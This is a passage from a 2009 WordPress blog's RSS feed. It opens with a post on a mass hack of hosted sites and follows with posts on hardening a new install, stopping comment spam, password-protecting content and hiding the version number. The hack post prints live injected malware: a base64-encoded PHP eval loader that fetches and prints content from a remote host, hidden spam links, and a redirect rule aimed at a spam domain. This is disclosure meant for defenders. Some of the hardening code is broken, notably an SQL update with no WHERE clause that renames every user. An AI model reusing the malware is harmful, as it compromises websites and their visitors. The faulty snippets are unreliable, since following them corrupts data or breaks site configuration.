<pre><code>&lt;!--5edfgh345--&gt;&lt;?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?&gt;</code></pre>
<p>Which evaluates to this:</p>
<pre><code>$l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
else{$r=implode("",file($l));} print @$r;</code></pre>
<p>Links are being inserted into the page before the &lt;/html&gt; tag:</p>
<pre><code>&lt;!– [6eb602d48b8b7f42aba0ce0c31ebe3f5 --&gt;&lt;!-- 9190819521 --&gt;&lt;noscript&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://rg8rhg34h34h.cc/c"&gt;.&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/noscript&gt;&lt;!-- 6eb602d48b8b7f42aba0ce0c31ebe3f5] –&gt;</code></pre>
<h4>.htaccess</h4>
<pre><code>RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4&amp;parameter=sf [R,L]</code></pre>
<h4>.nfs* (unnamed file in root of server)</h4>
<h3>Fixing It</h3>
<p>We weren&#8217;t victims of this attack so far, so please refer to the people linked above for more first-hand advice. However, changing passwords across the board, especially FTP passwords is a must. Also remove all the malicious code shown above from the files. If possible, a fresh WordPress install would probably be a good idea (backup your database and theme first!)</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/">Permalink</a> | <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/#comments">27 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/&title=Media Temple, WordPress, Mass&nbsp;Hacking">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>How to Secure Your New WordPress&#160;Installation</title>
		<link>http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/</link>
		<comments>http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/#comments</comments>
		<pubDate>Mon, 09 Nov 2009 19:07:30 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=903</guid>
		<description><![CDATA[One of the best ways to ensure strong security for your WordPress-powered site is to secure its foundations during the installation process. Of course these techniques can be implemented at any point during the life of your site, but stetting them before the game starts prevents headaches and saves time. We&#8217;ll start with the WordPress [...]]]></description>
			<content:encoded><![CDATA[<p>One of the best ways to ensure strong security for your WordPress-powered site is to secure its foundations during the installation process. Of course these techniques can be implemented at any point during the life of your site, but stetting them <strong>before the game starts</strong> prevents headaches and saves time. We&rsquo;ll start with the WordPress database..</p>
<h3>Step 1 &#8211; Setting up a secure database</h3>
<p>Because the database is associated with virtually everything you do on your site, it is best to perform any modifications before configuring your options, installing plugins, and adding options. During the installation process, there are some effective ways of increasing the overall security of your WordPress site.</p>
<p><span id="more-903"></span></p>
<p>One of the first things that you can do to bolster security is to setup a proper database, user, and password. First, create the table that will be used for your WordPress installation:</p>
<pre><code>CREATE DATABASE `wordpress`;</code></pre>
<p>Now we need a user to go with that database. The key here is to create a user with only the required permissions. Enter the following SQL query to create a user that will have access only to the <code>wordpress</code> from the local server:</p>
<pre><code>GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP ON wordpress.* TO 'wpuser'@'localhost'
IDENTIFIED BY 'password';</code></pre>
<p>By requiring that the user access the database from the local server only, we mitigate the possibility of remote database attacks. Further, by granting the user access to only the <code>wordpress</code> database, we ensure that other databases will remain safe should an attacker gain access.</p>
<p>Once the database and user have been setup, install WordPress as normal and continue with the next step.</p>
<h3>Step 2 &#8211; Setting up a secure configuration file</h3>
<p>There are two things we want to do with the <code>wp-config.php</code> file: implement Authentication Unique Keys and change the default database prefix. Let&rsquo;s do it..</p>
<h4>Implement Authentication Unique Keys</h4>
<p>Directly after your MySQL database credentials in the <code>wp-config.php</code> file, you have the option of specifying a set of Authentication Unique Keys. These keys improve WordPress&rsquo; authentication system, providing strong security to your site. It is highly recommended that you take advantage of this feature.</p>
<pre><code>/**#@+
 * Authentication Unique Keys.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY', 'put your unique phrase here');
define('SECURE_AUTH_KEY', 'put your unique phrase here');
define('LOGGED_IN_KEY', 'put your unique phrase here');
define('NONCE_KEY', 'put your unique phrase here');
/**#@-*/</code></pre>
<p>To do so, visit the official <a href="https://api.wordpress.org/secret-key/1.1/" title="WordPress.org secret-key service">secret-key generation service</a> and paste the results into your <code>config.php</code> file (replace the four lines beginning with &ldquo;<code>define</code>&rdquo;).</p>
<p>While you are you setting up the WordPress configuration file, you also may want to go ahead and <a href="http://digwp.com/2009/07/optimize-wordpress-performance-with-the-wp-config-php-file/" title="Optimize WordPress Performance with the wp-config.php File">optimize performance</a> and implement some other choice <a href="http://digwp.com/2009/06/wordpress-configuration-tricks/" title="WordPress Configuration Tricks">configuration tricks</a>.</p>
<h4>Change the default database table prefix</h4>
<p>While in your <code>wp-config.php</code> file, take a few moments to change your default database table prefix. By default, it&rsquo;s &ldquo;<code>wp_</code>&rdquo;, but this is a well-known fact of which attackers and automated scripts take full advantage. By changing the table prefix to something unknown/random, you are using security through obscurity to help mitigate <acronym title="Structured Query Language">SQL</acronym>-injection threats.</p>
<pre><code>/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each a unique
 * prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';</code></pre>
<p>In your <code>wp-config.php</code> file, locate the above lines and change the table prefix to something random or difficult to guess. I like to include the letters &ldquo;<code>wp</code>&rdquo; within the new prefix to help me identify tables specific to WordPress. For example, I might change it to something like, &ldquo;<code>wp_i337</code>&rdquo;.</p>
<h3>Step 3 &#8211; Setting up a secure administration</h3>
<p>Once you have finished with your database and configuration file, it&rsquo;s time to setup a secure WordPress Admin area. We can do this by changing the default Admin username and protecting the <code>wp-admin</code> directory.</p>
<h4>changing the default Admin username</h4>
<p>By default, all WordPress installations have a default Admin username of, creatively enough, &ldquo;admin&rdquo;. As with the default database prefix, this fact is well-known to attackers, who target the admin account with password brute-force attacks. Thus, changing the username of your Admin account will help mitigate this potential vulnerability. To do so, execute the following <acronym title="Structured Query Language">SQL</acronym> query on your WordPress database via phpMyAdmin:</p>
<pre><code>UPDATE wp_users SET user_login = 'admin', user_login = 'digwp';</code></pre>
<p>Your default Admin username is now changed to whatever you specified in the query. In this example, your new username will be &ldquo;digwp&rdquo;, so you will probably want to change it to something that is more difficult to guess.</p>
<p>Additionally, make sure that the password for the Admin account is as strong as possible. Use a random mix of uppercase and lowercase letters, and throw in a few underscores and numbers for good measure.<br />
 </p>
<h4>Protecting the wp-admin directory</h4>
<p>All of the administrative files for your WordPress site are contained in the <code>wp-admin</code> directory. By protecting this directory against unauthorized access, we greatly strengthen the security of our site. Depending on your particular needs, there are at least two ways to go about doing this. Let&rsquo;s look at each of them.</p>
<p><strong>Allow open access only to specific addresses</strong></p>
<p>This method uses a few choice <acronym title="Hypertext Access">HTAccess</acronym> directives placed in your site&rsquo;s root <code>.</code><code>htaccess</code> file:</p>
<pre><code># SECURE WP-ADMIN
&lt;FilesMatch "*.*"&gt;
 Order Deny,Allow
 Deny from all
 Allow from 123.456.789
&lt;/FilesMatch&gt;</code></pre>
<p>Once in place, this code will deny access to all visits from any <acronym title="Internet Protocol">IP</acronym> address that is not listed. Simply edit the &ldquo;<code>Allow from</code>&rdquo; line with your actual address, and create additional lines for multiple <acronym title="Internet Protocol">IP</acronym>s. You can then check that it&rsquo;s working by visiting your Admin area via proxy service. This is an effective way of protecting your <code>wp-admin</code> directory, but you may prefer using a password-based method instead..</p>
<p><strong>Password-protect</strong></p>
<p>Another option for securing your Admin area involves implementing secondary password protection via basic <acronym title="Hypertext Transfer Protocol">HTTP</acronym> authentication. This is an excellent way to lock things down while still enabling access by anyone with the password from anywhere on the Web. To set it up, we need to create a text file with your desired username/password, and then require the username and password via <code>.</code><code>htaccess</code> file.</p>
<p>For the username/password text file, use a <a href="http://www.4webhelp.net/us/password.php" title="4WebHelp's online .htpasswd encryption tool">password-generation service</a> and paste the results into a file named &ldquo;<code>.</code><code>htpasswd</code>&rdquo; (without the quotes!) and place it in a secure location on your server, preferably above your &#8220;public_html&#8221; or root-web directory.</p>
<p>Once the password file is in place, create an <code>.</code><code>htaccess</code> file for your <code>wp-admin</code> directory and add the following code:</p>
<pre><code># SECURE LOGIN PAGE
&lt;IfModule mod_auth.c&gt;
 AuthUserFile /full/path/.htpasswd
 AuthType Basic
 AuthName "Password Required!"
 Require username
&lt;/IfModule&gt;</code></pre>
<p>After editing the username and full server path to your password file, you&rsquo;re good to go. Make sure to test that everything is working before cracking a beer.</p>
<h4>Important note about protecting wp-admin</h4>
<p>As you implement this method, keep in mind that the <code>wp-admin</code> directory is used by a number of plugins, scripts, and even users. For example, if you allow open registration to your visitors, they will be unable to access the registration pages if your admin directory is blocked. Another good example is the <a href="http://wordpress.org/extend/plugins/subscribe-to-comments/">Subscribe to Comments</a> plugin, which provides an admin page through which users may unsubscribe to comments. This ain&rsquo;t gonna work if they can&rsquo;t access the admin area.</p>
<h3>Just the beginning..</h3>
<p>Of course, when it comes to the security of your WordPress site, these techniques are merely the beginning. As you continue in your WordPress travels, you will discover many, many more ways to increase the security of your site. By implementing the methods presented in this article during the setup process, you will be strengthening the security of your site&rsquo;s foundation, providing yourself a solid platform on which to build.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/">Permalink</a> | <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/#comments">32 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/&title=How to Secure Your New WordPress&nbsp;Installation">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/feed/</wfw:commentRss>
		<slash:comments>32</slash:comments>
		</item>
		<item>
		<title>You Don&#8217;t Need Any Plugins to Stop Comment&#160;Spam</title>
		<link>http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/</link>
		<comments>http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 04:18:58 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=858</guid>
		<description><![CDATA[I think one of the biggest WordPress myths is that you need a bunch of plugins to control comment spam. Pretty much all of the posts out there on preventing WordPress comment spam are telling you to install some list of &#8220;must-have&#8221; anti-spam plugins. Some authors insist that you need only a few &#8220;choice&#8221; plugins, [...]]]></description>
			<content:encoded><![CDATA[<p>I think one of the biggest WordPress myths is that you need a bunch of plugins to control comment spam. Pretty much all of the posts out there on preventing WordPress comment spam are telling you to install some list of &ldquo;must-have&rdquo; anti-spam plugins. Some authors insist that you need only a <em>few</em> &ldquo;choice&rdquo; plugins, while others advise you to load up on <em>everything</em> you can get your hands on. Such advice is all well-intentioned, I&rsquo;m sure, but it&rsquo;s all based on the assumption that plugins are actually <em>necessary</em> to control comment spam. <strong>They&rsquo;re not</strong>. WordPress is well-equipped to handle the job all by itself. Plugins may provide <em>additional</em> anti-spam functionality, but they are by no means <em>essential</em> to running a spam-free site.</p>
<p><span id="more-858"></span></p>
<h3>Not even Akismet..</h3>
<p>&ldquo;Sure,&rdquo; you are thinking, &ldquo;you don&rsquo;t need any plugins <em>except</em> for Akismet.&rdquo; I mean, you definitely need <em>that</em> plugin, right? After all, it&rsquo;s <em>included</em> with WordPress, so it&rsquo;s <em>got</em> to be important. <em>Umm</em>, not so much. Yes, there are certain blogs that would probably be wise to take advantage of the additional spam-protection that Akismet might provide, but for 99% of the sites out there, it really isn&rsquo;t necessary.</p>
<h3>WordPress is <strong>strong</strong> enough..</h3>
<p>I think one of the most <em>underrated</em> strengths of WordPress is its built-in anti-spam functionality. With an ounce of knowledge and a pound of forethought, you can configure your WordPress Discussion settings to act as a powerful and effective defense against the evil forces of spam. No plugins required! Let&rsquo;s look at WordPress&rsquo; anti-spam tools and see why they&rsquo;re all you need for a spam-free site..</p>
<dl>
<dt>Default article settings</dt>
<dd>First up, consider your default article settings. If comments <em>aren&rsquo;t</em> enabled, of course you know that you don&rsquo;t need Akismet or any other anti-spam plugin for that matter. If comments <em>are</em> enabled, you can cut out a significant portion of spam by simply disallowing pingbacks and trackbacks. By clicking a single checkbox, all of that crap that comes rolling in as trackback spam will stop. That&rsquo;s a huge step right there, and it will eliminate every plugin that has anything to do with displaying or controlling ping/trackbacks.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-08.gif" alt="[ WordPress Default Comment Settings ]" /></dd>
<dt>Comment author must fill out name and e-mail</dt>
<dd>Another smart move, although I think most sites do this one already. By requiring your commentators to at least fill out these two fields (even if it is just dummy data most of the time), you brush off all of those lazy spammers who are picking up the easy ground fruit. Most <em>legitimate</em> commentators don&rsquo;t mind filling in this info because they usually have something they want to say. Lazy spammers, not so much.</dd>
<dt>Users must be registered and logged in to comment</dt>
<dd>If possible given the specific goals of your site, requiring users to log in before commenting is an extremely effective way of preventing comment spam. Although requiring registration will stop a lot of <em>legit</em> comments as well, it is a powerful deterrent to lazy spammers and completely stops automated scripts. Sure, you may still get some trolls stinking up the place, but you would be getting those anyway. Plus, if they&rsquo;re registered, it makes it easier to deal with them.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-07.gif" alt="[ WordPress Comment User Settings ]" /></dd>
<dt>Automatically close comments on articles older than XX days</dt>
<dd>This is my favorite WordPress anti-spam feature. For a long time, we needed a plugin to get this done, but now that it is built into WordPress, <em>everyone</em> should be using it. Here at <a href="http://digwp.com/" title="DiW!">Digging into WordPress</a>, we close comments on old posts after 90 days, which seems to be just about the right amount of time. Anything longer than that, and your posts begin to get targeted by spammers and automated spam scripts. Especially if your posts tend to do well and build up a lot of page rank, they will be prime targets for spam as time rolls on.</dd>
<dt>Break comments into pages with XX comments per page</dt>
<dd>This one&rsquo;s not as obvious, but it is also a great way to reduce the incentive to spam your site. Spammers target <em>strong</em> pages for their junk, so by breaking your comments into pages of, say, 20 comments each, you get the best comments on the first page (the same page as the article), and then the typically declining-quality comments on subsequent non-ranking pages. Just make sure you are using meta canonical tags to keep the juice where it should be.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-06.gif" alt="[ WordPress Comment Display Settings ]" /></dd>
<dt>E-mail me whenever..</dt>
<dd>Unless your site is literally flooded with comments on every post, getting email alerts for new comments is an excellent way to kill any spam nonsense that gets through. I have done this at <a href="http://perishablepress.com/" title="Perishable Press: Digital Design and Dialogue">Perishable Press</a> for four years now, and you would be hard-pressed to find even <em>one</em> spam comment anywhere on the site.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-05.gif" alt="[ WordPress Comment Notification Settings ]" /></dd>
<dt>Before a comment appears an administrator must always approve the comment</dt>
<dd>This could get kind of labor-intensive, but it is a 100%-guaranteed way of completely eliminating spam without using any plugins whatsoever. Zero. Nada. Nil. If you are one of the many millions whose blog receives fairly few comments, this method will keep your comments squeaky clean.</dd>
<dt>Comment author must have a previously approved comment</dt>
<dd>A super-effective strategy that is not as labor-intensive as moderating all comments and not as restrictive as requiring registration. The idea here is that you get a chance to &ldquo;meet&rdquo; each one of your commentators and leave the door open only for the good guys. This technique drastically cuts back on human spam, and virtually eliminates automated spam (unless you don&rsquo;t catch it the first time).</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-04.gif" alt="[ WordPress Comment Approval Settings ]" /></dd>
<dt>Hold a comment in the queue if it contains XX or more links</dt>
<dd>Lots of comment spam is just crawling with links. A few mindless words and then BAM &#8212; they drop in a few hundred links. Some of the more subtle spammers are less obvious, but still have to unload their payload somehow, so they usually integrate a couple of links within some not-so-carefully crafted text. You know what I&rsquo;m talking about. You definitely want to moderate anything with more than like two or three links. This trick is great for catching some of the craftier spam maggots.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-03.gif" alt="[ WordPress Comment Link Settings ]" /></dd>
<dt>Comment Moderation Blacklist and Spam Blacklist</dt>
<dd> A finely tuned WordPress Blacklist list eliminates the need for <em>many</em> types of plugins, scripts, and third-party blacklists. Any words, characters, or IP addresses included in either the Moderation or Spam Blacklist will be used to innoculate your site against any matching comments. Granted, it takes a bit of persistence to build up a good list, but once you do, it is very difficult for spammers to get around it. Note that, unless you are absolutely sure, you should probably stick with the Moderation Blacklist (regular expressions are powerful things!).</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-02.gif" alt="[ WordPress Comment Moderation Blacklist ]" /></dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-01.gif" alt="[ WordPress Comment SPam Blacklist ]" /></dd>
</dl>
<p>All of these great anti-spam features are like having fifty plugins already built-in to WordPress. With them, you can configure a powerful anti-spam strategy for just about any type of site without <em>any</em> plugins &#8212; not even Akismet.</p>
<h3>Why not just use a bunch of plugins instead?</h3>
<p>Because you don&rsquo;t <em>have</em> to. Plugins require maintenance, frequent updating, etc. Every upgrade of WordPress and/or your plugins opens the door to possible issues and conflicts. Further, plugins consume valuable server resources, affecting the <strong>performance</strong> and consistency of your site. In general, the fewer plugins you have, the easier and more efficient things are going to be. I guess my feeling is, try to take the &ldquo;zen&rdquo; approach as much as possible &#8212; if something isn&rsquo;t absolutely necessary, don&rsquo;t bother with it. More and more, I am realizing that anti-spam plugins simply aren&rsquo;t needed to run an effective and spam-free site.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/">Permalink</a> | <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/#comments">47 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/&title=You Don&#8217;t Need Any Plugins to Stop Comment&nbsp;Spam">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/plugins/" title="View all posts in Plugins" rel="category tag">Plugins</a>, <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/feed/</wfw:commentRss>
		<slash:comments>47</slash:comments>
		</item>
		<item>
		<title>Password Protect More Than&#160;the_content()</title>
		<link>http://digwp.com/2009/08/password-protect-more-than-the_content/</link>
		<comments>http://digwp.com/2009/08/password-protect-more-than-the_content/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 00:59:47 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[custom-fields]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[tricks]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=531</guid>
		<description><![CDATA[WordPress has the ability to easily password protect the content of any Post or Page. Right over by that big juicy blue &#8220;Publish&#8221; button, there is an option for Visibility. Click edit, and you have the option to make it password-protected and set a password. What happens now? By default, WordPress will prepend &#8220;Protected: &#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress has the ability to easily password protect the content of any Post or Page. Right over by that big juicy blue &#8220;Publish&#8221; button, there is an option for <strong>Visibility</strong>. Click edit, and you have the option to make it password-protected and set a password. </p>
<p><span id="more-531"></span></p>
<h3>What happens now?</h3>
<p>By default, WordPress will prepend &#8220;Protected: &#8221; to the title of the post, and replace the content area (and comments area) with a default message:</p>
<blockquote><p>This post is password protected. To view it please enter your password below:</p></blockquote>
<p>After the message, a form prompting the user to enter a password. It looks like this:</p>
<p><img src="http://digwp.com/wp-content/blog-images/pw-protect-example.png" width="470" height="363" alt="" title="" /></p>
<h3>Shortcomings</h3>
<p>Like we said above, what actually gets &#8220;protected&#8221; is the content of the post and the comments for the post. In the actual theme files, that boils down to:</p>
<ul>
<li><code>&lt;?php the_content(); ?&gt;</code></li>
<li><code>&lt;?php comments_template(); ?&gt;</code></li>
</ul>
<p><strong>Anything else</strong> is <strong>not protected!</strong> This includes pulling and displaying custom fields for that Post. Theoretically, this makese sense, as WordPress works by functions, and cannot be expected to know what&#8217;s going on in every single custom theme. However, custom fields can potentially contain important information that you might <strong>want to be hidden</strong> via password protection.  </p>
<p>Here is a little code snapshot from the single.php template right here on DiW:</p>
<p><img src="http://digwp.com/wp-content/blog-images/codeprotected.png" width="590" height="183" alt="" title="" /></p>
<h3>&#8211; UPDATE &#8211;</h3>
<p>The easiest possible way to password protect additional areas is with this simple function:</p>
<pre><code>&lt;?php
    if ( !post_password_required() ) { 
            echo 'protected stuff'; 
    }
?&gt;</code></pre>
<p>Thanks <a href="http://jayj.dk/">Jay</a>!</p>
<h3>The Password Form</h3>
<p>This is the form code that gets generated for a password protected post:</p>
<pre><code>&lt;form method="post" action="http://digwp.com/wp-pass.php"&gt;
&lt;p&gt;This post is password protected. To view it please enter your password below:&lt;/p&gt;
&lt;p&gt;&lt;label for="pwbox-531"&gt;Password:&lt;br/&gt;
&lt;input type="password" size="20" id="pwbox-531" name="post_password"/&gt;&lt;/label&gt;&lt;br/&gt;
&lt;input type="submit" value="Submit" name="Submit"/&gt;&lt;/p&gt;
&lt;/form&gt;</code></pre>
<p>The ID&#8217;s values for you will be different, but that&#8217;s the gist of it. This is a bit of a tangent, but let&#8217;s say you want to style this form. Good luck, form itself nor the labels or inputs have any class names or ID&#8217;s that you can latch onto to style while not potentially affecting other forms. </p>
<p>I thought about the <code>body_class</code> function for a moment, thinking perhaps password protected posts at least get a class for this, but no dice.</p>
<p><strong>I think this is a problem&#8230; WordPress should get us some hook here!</strong></p>
<h3>Hiding more!</h3>
<p>Fair warning, this is a little hacky, as it&#8217;s going to rely on JavaScript, which is client side technology that can be turned off, rather than server side technology which cannot.</p>
<p>There is <em>one</em> thing that is unique in that password form code above (hence the tangent), that we can look for with JavaScript. The idea is this:</p>
<ol>
<li>Look for password input</li>
<li>If it is present&#8230;</li>
<li>Hide other stuff.</li>
</ol>
<p>We&#8217;ll use jQuery for this, because it makes it easy and that&#8217;s just how I roll. The example below is taken from a site I worked on recently where I was displaying an audio track with custom fields, which was displaying even when the post was protected.</p>
<pre><code>if ( $('input[name="post_password"]').length &gt; 0 ) {
    // hide stuff
    $(".audioplayer").hide();
}</code></pre>
<h3>Dealing with that Title</h3>
<p>One of the other potential annoyances with password-protected posts is how it appends &#8220;Protected&#8221; to post titles. This isn&#8217;t an option, so removing it is a matter of adding a filter to the <code>the_title</code> function. Add this to the functions.php file:</p>
<pre><code>function the_title_trim($title)
{
    $pattern[0] = '/Protected:/';
    $pattern[1] = '/Private:/';
    $replacement[0] = ''; // Enter some text to put in place of Protected:
    $replacement[1] = ''; // Enter some text to put in place of Private:
    
    return preg_replace($pattern, $replacement, $title);
}
add_filter('the_title', 'the_title_trim');</code></pre>
<p>If it&#8217;s not obvious, this will also remove the &#8220;Private: &#8221; from being appended to private post titles.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/08/password-protect-more-than-the_content/">Permalink</a> | <a href="http://digwp.com/2009/08/password-protect-more-than-the_content/#comments">9 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/08/password-protect-more-than-the_content/&title=Password Protect More Than&nbsp;the_content()">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/custom-fields/" rel="tag">custom-fields</a>, <a href="http://digwp.com/tag/jquery/" rel="tag">jquery</a>, <a href="http://digwp.com/tag/tricks/" rel="tag">tricks</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/08/password-protect-more-than-the_content/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>How to Remove the WordPress Version Number (The Right&#160;Way)</title>
		<link>http://digwp.com/2009/07/remove-wordpress-version-number/</link>
		<comments>http://digwp.com/2009/07/remove-wordpress-version-number/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 07:01:13 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[header]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://diggingintowordpress.com/?p=314</guid>
		<description><![CDATA[One of the most commonly seen security tips around the WordPress-o-Sphere has got to be this: Don’t display your WordPress version number publicly Many WordPress developers often display the WordPress version in the source code. But having this information publicly available makes it easy for attackers to exploit known vulnerabilities on a particular WordPress version. [...]]]></description>
			<content:encoded><![CDATA[<p>One of the most commonly seen security tips around the WordPress-o-Sphere has got to be this:</p>
<blockquote><p><strong><em>Don’t display your WordPress version number publicly</em></strong><br />
<em>Many WordPress developers often display the WordPress version in the source code. But having this information publicly available makes it easy for attackers to exploit known vulnerabilities on a particular WordPress version.</em></p></blockquote>
<p>This sort of thinking is referred to as &ldquo;security through obscurity,&rdquo; and may or may not be an effective way to increase the overall security of your site. </p>
<p><span id="more-314"></span></p>
<p>By default, WordPress executes the <code>wp_generator()</code> function whenever the <code>wp_head()</code> hook is called. Typically, this hook is located in your theme&rsquo;s <code>header.php</code> file within the <code>&lt;head&gt;</code> section of the document markup:</p>
<p><img src="http://digwp.com/wp-content/blog-images/wp-head-screens.gif" alt="[ Screenshot: wp_head() Hook ]" title="The wp_head() hook as seen via the header.php file" /><br /><small>The wp_head() hook as seen via the header.php file</small></p>
<p>Then, after WordPress processes your web page, the <code>wp_generator()</code> function outputs the following code (depending on page view) to your browser:</p>
<pre><code>&lt;link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://digwp.com/xmlrpc.php?rsd" /&gt;
&lt;link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://digwp.com/wp-includes/wlwmanifest.xml" /&gt; 
&lt;link rel='index' title='Digging into WordPress' href='http://digwp.com/' /&gt;
&lt;meta name="generator" content="WordPress 2.8.1" /&gt;</code></pre>
<p>Notice that last line there? There are many posts on WordPress security that point out how specifying your version number is a security risk. Whether or not this is the case is certainly debatable, but the thinking is that you should <em>avoid</em> revealing this sensitive information in order to prevent attacks targeting specific versions of WordPress.</p>
